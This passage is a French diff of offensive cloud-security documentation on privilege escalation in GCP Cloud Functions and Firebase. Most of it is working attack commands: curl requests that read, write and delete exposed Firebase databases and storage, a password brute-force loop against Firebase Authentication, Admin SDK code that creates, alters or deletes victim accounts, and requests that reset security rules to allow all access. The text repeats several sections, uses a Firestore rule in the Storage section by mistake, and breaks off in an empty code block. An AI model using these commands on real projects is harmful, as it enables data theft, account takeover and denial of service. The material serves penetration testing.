> [!CAUTION]
|
||||
> Si vous obtenez l'erreur `Permission 'run.services.setIamPolicy' denied on resource...` c'est parce que vous utilisez le paramètre `--allow-unauthenticated` et que vous n'avez pas les permissions nécessaires.
|
||||
> Si vous obtenez l'erreur `Permission 'run.services.setIamPolicy' denied on resource...` c'est parce que vous utilisez le paramètre `--allow-unauthenticated` et que vous n'avez pas les permissions suffisantes pour cela.
|
||||
|
||||
Le script d'exploitation pour cette méthode se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
Le script d'exploit pour cette méthode se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée permettant d'uploader un fichier dans le bucket de la Cloud Function (mais le code de la fonction ne sera pas modifié, vous devez toujours le mettre à jour)**
|
||||
|
||||
<details><summary>Générer une URL d'upload signée pour Cloud Function</summary>
|
||||
Avec cette permission, vous pouvez obtenir une **signed URL** pour pouvoir uploader un fichier dans un function bucket (mais le code de la fonction ne sera pas modifié, vous devrez toujours le mettre à jour)
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,21 +69,32 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Pas vraiment sûr de l'utilité de cette permission seule du point de vue d'un attaquant, mais bon à savoir.
|
||||
Pas vraiment sûr de l'utilité de cette permission seule du point de vue d'un attacker, mais bon à savoir.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Attribuez-vous l'un des privilèges **`.update`** ou **`.create`** précédents pour escalader.
|
||||
|
||||
Donnez-vous l'un des privilèges précédents **`.update`** ou **`.create`** pour effectuer une élévation de privilèges.
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
En n'ayant que les permissions **`cloudfunctions`** et sans **`iam.serviceAccounts.actAs`**, vous **ne pourrez pas mettre à jour la Cloud Function, DONC CECI N'EST PAS UN PRIVESC VALIDE.**
|
||||
Si vous ne possédez que les permissions **`cloudfunctions`**, sans **`iam.serviceAccounts.actAs`**, **vous ne pourrez pas mettre à jour la fonction, DONC CE N'EST PAS UN PRIVESC VALIDE.**
|
||||
|
||||
### Invocation des fonctions
|
||||
Avec les permissions `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, et run.routes.invoke, une identité peut invoquer directement Cloud Functions. Il est également nécessaire que la fonction autorise le trafic public, ou que l'appelant se trouve dans le même réseau que la fonction elle-même.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Accès en lecture et écriture sur le bucket
|
||||
|
||||
Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et, dès qu'une mise à jour du bucket se produit, remplacer le nouveau code par le vôtre de sorte que la nouvelle version de la Cloud Function s'exécute avec le backdoored code soumis.
|
||||
Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et, chaque fois qu'une **mise à jour dans le bucket se produit, vous pouvez remplacer le nouveau code par le vôtre** afin que la nouvelle version de la Cloud Function s'exécute avec le backdoored code soumis.
|
||||
|
||||
Vous pouvez en savoir plus sur l'attaque dans :
|
||||
|
||||
@@ -97,7 +102,7 @@ Vous pouvez en savoir plus sur l'attaque dans :
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Cependant, vous ne pouvez pas utiliser cela pour compromettre à l'avance des Cloud Functions tierces, parce que si vous créez le bucket dans votre compte et lui donnez des permissions publiques afin que le projet externe puisse écrire dessus, vous obtenez l'erreur suivante :
|
||||
Cependant, vous ne pouvez pas utiliser cela pour pré-compromettre des Cloud Functions tierces car si vous créez le bucket dans votre compte et lui donnez des permissions publiques pour que le projet externe puisse écrire dessus, vous obtenez l'erreur suivante :
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -106,7 +111,7 @@ Cependant, vous ne pouvez pas utiliser cela pour compromettre à l'avance des Cl
|
||||
|
||||
### Accès en lecture et écriture sur Artifact Registry
|
||||
|
||||
Quand une Cloud Function est créée, une nouvelle docker image est poussée dans l'Artifact Registry du projet. J'ai essayé de modifier l'image par une nouvelle, et même de supprimer l'image courante (et l'image `cache`) mais rien n'a changé : la Cloud Function a continué à fonctionner. Par conséquent, il pourrait peut-être être possible d'abuser d'une Race Condition comme avec le bucket pour remplacer le docker container qui sera exécuté, mais se contenter de modifier l'image stockée ne permet pas de compromettre la Cloud Function.
|
||||
Lorsqu'une Cloud Function est créée, une nouvelle docker image est poussée dans l'Artifact Registry du projet. J'ai essayé de remplacer l'image par une nouvelle, et même de supprimer l'image courante (et l'image `cache`) sans que rien ne change — la Cloud Function continue de fonctionner. Il est donc possible qu'on puisse **abuser d'une Race Condition** comme avec le bucket pour changer le container docker qui sera exécuté, mais **simplement modifier l'image stockée ne permet pas de compromettre la Cloud Function**.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@@ -0,0 +1,447 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Unauthenticated access to Firebase Realtime Database
|
||||
Un attaquant n'a pas besoin d'autorisations Firebase spécifiques pour réaliser cette attaque. Il suffit qu'il y ait une configuration vulnérable dans les règles de sécurité de Firebase Realtime Database, où les règles sont définies avec `.read: true` ou `.write: true`, permettant un accès public en lecture ou en écriture.
|
||||
|
||||
L'attaquant doit identifier l'URL de la base de données, qui suit généralement le format : `https://<project-id>.firebaseio.com/`.
|
||||
|
||||
Cette URL peut être trouvée via mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), en analysant des fichiers de configuration tels que google-services.json (Android) ou GoogleService-Info.plist (iOS), en inspectant le code source des applications web, ou en examinant le trafic réseau pour identifier des requêtes vers des domaines `*.firebaseio.com`.
|
||||
|
||||
L'attaquant identifie l'URL de la base de données et vérifie si elle est exposée publiquement, puis accède aux données et peut potentiellement écrire des informations malveillantes.
|
||||
|
||||
Tout d'abord, l'attaquant vérifie si la base de données permet l'accès en lecture en ajoutant .json à l'URL.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Si la réponse contient des données JSON ou null (au lieu de "Permission Denied"), la base de données autorise l'accès en lecture. Pour vérifier l'accès en écriture, un attacker peut tenter d'envoyer une requête d'écriture de test en utilisant le Firebase REST API.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
Si l'opération réussit, la base de données permet également l'accès en écriture.
|
||||
|
||||
|
||||
### Exposition des données dans Cloud Firestore
|
||||
Un attaquant n'a pas besoin de permissions Firebase spécifiques pour mener cette attaque. Il suffit qu'il y ait une configuration vulnérable dans les règles de sécurité Cloud Firestore où les règles autorisent l'accès en lecture ou en écriture sans authentification ou avec une validation insuffisante. Un exemple de règle mal configurée qui accorde un accès complet est :
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Cette règle permet à quiconque de lire et d'écrire tous les documents sans aucune restriction. Les règles Firestore sont granulaires et s'appliquent par collection et par document, donc une erreur dans une règle spécifique peut n'exposer que certaines collections.
|
||||
|
||||
L'attaquant doit identifier le Firebase Project ID, qui peut être trouvé via mobile app reverse engineering, l'analyse des fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l'inspection du code source des applications web, ou l'analyse du trafic réseau pour identifier les requêtes vers firestore.googleapis.com.
|
||||
L'API REST Firestore utilise le format :
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Si les règles autorisent l'accès en lecture non authentifié, l'attaquant peut lire les collections et les documents. D'abord, il tente d'accéder à une collection spécifique :
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Si la réponse contient des documents JSON au lieu d'une erreur d'autorisation, la collection est exposée. L'attaquant peut énumérer toutes les collections accessibles en essayant des noms courants ou en analysant la structure de l'application. Pour accéder à un document spécifique :
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Si les règles autorisent un accès en écriture non authentifié ou n'ont pas de validation suffisante, l'attaquant peut créer de nouveaux documents :
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Pour modifier un document existant, il faut utiliser PATCH :
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Pour supprimer un document et provoquer un déni de service :
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Exposition de fichiers dans Firebase Storage
|
||||
Un attaquant n'a pas besoin de permissions Firebase spécifiques pour mener cette attaque. Il suffit qu'il y ait une configuration vulnérable dans les Firebase Storage security rules où les rules autorisent read ou write access sans authentification ou avec une validation insuffisante. Les Storage rules contrôlent indépendamment les permissions de read et write, donc une erreur dans une rule peut exposer uniquement read access, uniquement write access, ou les deux. Un exemple de rule mal configurée qui accorde un accès complet est :
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Cette règle permet l'accès en lecture et écriture à tous les documents sans aucune restriction. Les Firestore rules sont granulaires et s'appliquent par collection et par document, donc une erreur dans une règle spécifique peut n'exposer que certaines collections. L'attaquant doit identifier le Firebase Project ID, qui peut être trouvé via mobile application reverse engineering, l'analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l'inspection du code source de l'application web, ou network traffic analysis pour identifier des requêtes vers firestore.googleapis.com.
|
||||
|
||||
La Firestore REST API utilise le format: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Si les règles autorisent un accès en lecture sans authentification, l'attaquant peut lire les collections et les documents. Il tente d'abord d'accéder à une collection spécifique.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Si la réponse contient la liste des fichiers au lieu d'une erreur d'autorisation, le fichier est exposé. L'attaquant peut afficher le contenu des fichiers en spécifiant leur chemin :
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Si les règles autorisent un accès en écriture non authentifié ou si la validation est insuffisante, l'attaquant peut téléverser des fichiers malveillants. Pour téléverser un fichier via l'API REST :
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
L'attaquant peut téléverser des code shells, des malware payloads, ou de gros fichiers pour provoquer un denial of service. Si l'application traite ou exécute les fichiers téléversés, l'attaquant peut obtenir une remote code execution. Pour supprimer des fichiers et provoquer un denial of service :
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Invocation publique de Firebase Cloud Functions
|
||||
Un attaquant n'a pas besoin de permissions Firebase spécifiques pour exploiter ce problème ; il suffit qu'une Cloud Function soit accessible publiquement via HTTP sans authentification.
|
||||
|
||||
Une fonction est vulnérable lorsqu'elle est mal configurée :
|
||||
|
||||
- Elle utilise functions.https.onRequest, qui n'applique pas l'authentification (contrairement aux onCall functions).
|
||||
- Le code de la fonction ne valide pas l'authentification de l'utilisateur (par ex., pas de vérifications pour request.auth ou context.auth).
|
||||
- La fonction est accessible publiquement dans IAM, c'est-à-dire que allUsers a le rôle roles/cloudfunctions.invoker. C'est le comportement par défaut pour les HTTP functions à moins que le développeur ne restreigne l'accès.
|
||||
|
||||
Firebase HTTP Cloud Functions sont exposées via des URLs telles que :
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (lorsqu'elles sont intégrées avec Firebase Hosting)
|
||||
|
||||
Un attaquant peut découvrir ces URLs via source code analysis, network traffic inspection, enumeration tools, ou mobile app reverse engineering.
|
||||
Si la fonction est exposée publiquement et sans authentification, l'attaquant peut l'invoquer directement sans identifiants.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
Si la fonction ne valide pas correctement les entrées, l'attaquant peut tenter d'autres attaques telles que l'injection de code ou l'injection de commandes.
|
||||
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Un attaquant n'a besoin d'aucune permission Firebase spécifique pour mener cette attaque. Il suffit que la Firebase API Key soit exposée dans des applications mobiles ou web, et que la politique de mot de passe n'ait pas été configurée avec des exigences plus strictes que les valeurs par défaut.
|
||||
|
||||
L'attaquant doit identifier la Firebase API Key, qui peut être trouvée via le reverse engineering d'applications mobiles, l'analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l'inspection du code source d'applications web (par exemple dans bootstrap.js), ou l'analyse du trafic réseau.
|
||||
|
||||
L'API REST de Firebase Authentication utilise le point de terminaison :
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
pour s'authentifier avec un email et un mot de passe.
|
||||
|
||||
Si Email Enumeration Protection est désactivé, les réponses d'erreur de l'API peuvent révéler si un email existe dans le système (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), ce qui permet aux attaquants d'énumérer les utilisateurs avant de tenter des devinettes de mot de passe. Lorsque cette protection est activée, l'API renvoie le même message d'erreur pour les emails inexistants et les mots de passe incorrects, empêchant l'énumération des utilisateurs.
|
||||
|
||||
Il est important de noter que Firebase Authentication impose une limitation du nombre de requêtes, qui peut bloquer les requêtes si trop de tentatives d'authentification surviennent en peu de temps. À cause de cela, un attaquant devra introduire des délais entre les tentatives pour éviter d'être soumis à cette limitation.
|
||||
|
||||
L'attaquant identifie la API Key et effectue des tentatives d'authentification avec plusieurs mots de passe contre des comptes connus. Si Email Enumeration Protection est désactivé, l'attaquant peut énumérer les utilisateurs existants en analysant les réponses d'erreur :
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Si la réponse contient EMAIL_NOT_FOUND, l'email n'existe pas dans le système. Si elle contient INVALID_PASSWORD, l'email existe mais le mot de passe est incorrect, ce qui confirme que l'utilisateur est enregistré. Une fois qu'un utilisateur valide est identifié, l'attaquant peut effectuer des tentatives de brute-force. Il est important d'inclure des pauses entre les tentatives pour éviter les mécanismes de rate-limiting de Firebase Authentication :
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
Avec la politique de mot de passe par défaut (minimum 6 caractères, aucune exigence de complexité), l'attaquant peut tester toutes les combinaisons possibles de mots de passe de 6 caractères, ce qui représente un espace de recherche relativement réduit comparé à des politiques de mot de passe plus strictes.
|
||||
|
||||
### User management in Firebase Authentication
|
||||
|
||||
L'attaquant a besoin de permissions spécifiques sur Firebase Authentication pour réaliser cette attaque. Les permissions requises sont :
|
||||
|
||||
- `firebaseauth.users.create` pour créer des utilisateurs
|
||||
- `firebaseauth.users.update` pour modifier des utilisateurs existants
|
||||
- `firebaseauth.users.delete` pour supprimer des utilisateurs
|
||||
- `firebaseauth.users.get` pour récupérer des informations utilisateur
|
||||
- `firebaseauth.users.sendEmail` pour envoyer des emails aux utilisateurs
|
||||
- `firebaseauth.users.createSession` pour créer des sessions utilisateur
|
||||
|
||||
Ces permissions sont incluses dans le rôle `roles/firebaseauth.admin`, qui accorde un accès complet en lecture/écriture aux ressources Firebase Authentication. Elles sont également incluses dans des rôles de niveau supérieur tels que roles/firebase.developAdmin (qui inclut toutes les permissions firebaseauth.*) et roles/firebase.admin (accès complet à tous les services Firebase).
|
||||
|
||||
Pour utiliser le Firebase Admin SDK, l'attaquant aurait besoin d'un accès aux identifiants de compte de service (fichier JSON), qui peuvent être trouvés sur des systèmes compromis, des dépôts de code publiquement exposés, des systèmes CI/CD compromis, ou via la compromission de comptes développeurs ayant accès à ces identifiants.
|
||||
|
||||
La première étape consiste à configurer le Firebase Admin SDK en utilisant les identifiants du compte de service.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Pour créer un utilisateur malveillant en utilisant l'adresse e-mail d'une victime, l'attaquant tenterait d'utiliser le Firebase Admin SDK pour générer un nouveau compte associé à cette adresse e-mail.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Pour modifier un utilisateur existant, l'attaquant mettrait à jour des champs tels que l'adresse e-mail, le statut de vérification ou si le compte est désactivé.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Pour supprimer un compte utilisateur et provoquer une denial of service, l'attaquant enverrait une requête pour supprimer entièrement l'utilisateur.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
L'attaquant peut également récupérer des informations sur des utilisateurs existants en demandant leur UID ou leur adresse e-mail.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
De plus, l'attaquant pourrait générer des liens de vérification ou des liens de réinitialisation de mot de passe afin de modifier le mot de passe d'un utilisateur et d'accéder à son compte.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Gestion des utilisateurs dans Firebase Authentication
|
||||
Un attaquant a besoin de permissions spécifiques de Firebase Authentication pour réaliser cette attaque. Les permissions requises sont :
|
||||
|
||||
- `firebaseauth.users.create` to create users
|
||||
- `firebaseauth.users.update` to modify existing users
|
||||
- `firebaseauth.users.delete` to delete users
|
||||
- `firebaseauth.users.get` to obtain user information
|
||||
- `firebaseauth.users.sendEmail` to send emails to users
|
||||
- `firebaseauth.users.createSession` to create user sessions
|
||||
|
||||
Ces permissions sont incluses dans le rôle roles/firebaseauth.admin, qui accorde un accès complet en lecture/écriture aux ressources Firebase Authentication. Elles font également partie de rôles de niveau supérieur tels que `roles/firebase.developAdmin` (qui inclut toutes les permissions firebaseauth.*) et `roles/firebase.admin` (accès complet à tous les services Firebase).
|
||||
|
||||
Pour utiliser le Firebase Admin SDK, l'attaquant aurait besoin d'accès aux identifiants de compte de service (fichier JSON), qui pourraient être obtenus à partir de systèmes compromis, de dépôts de code exposés publiquement, d'environnements CI/CD compromis, ou via la compromission de comptes développeurs ayant accès à ces identifiants.
|
||||
|
||||
La première étape consiste à configurer le Firebase Admin SDK en utilisant les identifiants de compte de service.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Pour créer un utilisateur malveillant en utilisant l'adresse e-mail d'une victime, l'attaquant tenterait de créer un nouveau compte utilisateur avec cette adresse e-mail, en lui assignant son propre mot de passe et ses informations de profil.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Pour modifier un utilisateur existant, l'attaquant changerait des champs tels que l'adresse e-mail, le statut de vérification ou si le compte est désactivé.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Pour supprimer un compte utilisateur—entraînant effectivement une denial of service—l'attaquant enverrait une requête pour le supprimer définitivement.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
L'attaquant pourrait aussi récupérer des informations sur les utilisateurs existants, comme leur UID ou email, en demandant les détails de l'utilisateur soit par UID soit par email.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
De plus, l'attaquant pourrait générer des liens de vérification ou des liens de réinitialisation de mot de passe, ce qui lui permettrait de changer le mot de passe d'un utilisateur et de prendre le contrôle du compte.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Modification des règles de sécurité dans les services Firebase
|
||||
L'attaquant a besoin de permissions spécifiques pour modifier les règles de sécurité selon le service. Pour Cloud Firestore et Firebase Cloud Storage, les permissions requises sont `firebaserules.rulesets.create` pour créer des rulesets et `firebaserules.releases.create` pour déployer des releases. Ces permissions sont incluses dans le rôle `roles/firebaserules.admin` ou dans des rôles de plus haut niveau tels que `roles/firebase.developAdmin` et `roles/firebase.admin`. Pour Firebase Realtime Database, la permission requise est `firebasedatabase.instances.update`.
|
||||
|
||||
L'attaquant doit utiliser l'API REST de Firebase pour modifier les règles de sécurité.
|
||||
D'abord, l'attaquant devra obtenir un jeton d'accès en utilisant des identifiants de compte de service.
|
||||
Pour obtenir le jeton :
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Pour modifier les règles de Firebase Realtime Database :
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Pour modifier les règles de Cloud Firestore, l'attaquant doit créer un ruleset puis le déployer :
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
La commande précédente renvoie un nom de ruleset au format projects/<project-id>/rulesets/<ruleset-id>. Pour déployer la nouvelle version, la release doit être mise à jour en utilisant une requête PATCH :
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Pour modifier les règles de Firebase Cloud Storage :
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
La commande précédente renvoie un nom de ruleset au format projects/<project-id>/rulesets/<ruleset-id>. Pour déployer la nouvelle version, la release doit être mise à jour en utilisant une requête PATCH :
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Exfiltration et manipulation de données dans Cloud Firestore
|
||||
Cloud Firestore utilise la même infrastructure et le même système d'autorisations que Cloud Datastore, donc les permissions Datastore IAM s'appliquent directement à Firestore. Pour manipuler les politiques TTL, la permission `datastore.indexes.update` est requise. Pour exporter des données, la permission `datastore.databases.export` est requise. Pour importer des données, la permission datastore.databases.import est requise. Pour effectuer une suppression massive de données, la permission `datastore.databases.bulkDelete` est requise.
|
||||
|
||||
Pour les opérations de sauvegarde et de restauration, des permissions spécifiques sont nécessaires :
|
||||
|
||||
- `datastore.backups.get` et `datastore.backups.list` pour lister et récupérer les détails des sauvegardes disponibles
|
||||
- `datastore.backups.delete` pour supprimer des sauvegardes
|
||||
- `datastore.backups.restoreDatabase` pour restaurer une base de données à partir d'une sauvegarde
|
||||
- `datastore.backupSchedules.create` et `datastore.backupSchedules.delete` pour gérer les plannings de sauvegarde
|
||||
|
||||
Lorsqu'une politique TTL est créée, une propriété désignée est sélectionnée pour identifier les entités éligibles à la suppression. Cette propriété TTL doit être du type Date et heure. L'attaquant peut choisir une propriété qui existe déjà ou désigner une propriété qu'il prévoit d'ajouter plus tard. Si la valeur du champ est une date passée, le document devient éligible à une suppression immédiate. L'attaquant peut utiliser le gcloud CLI pour manipuler les politiques TTL.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
Pour exporter des données et les exfiltrer, l'attaquant pourrait utiliser le gcloud CLI.
|
||||
```bash
|
||||
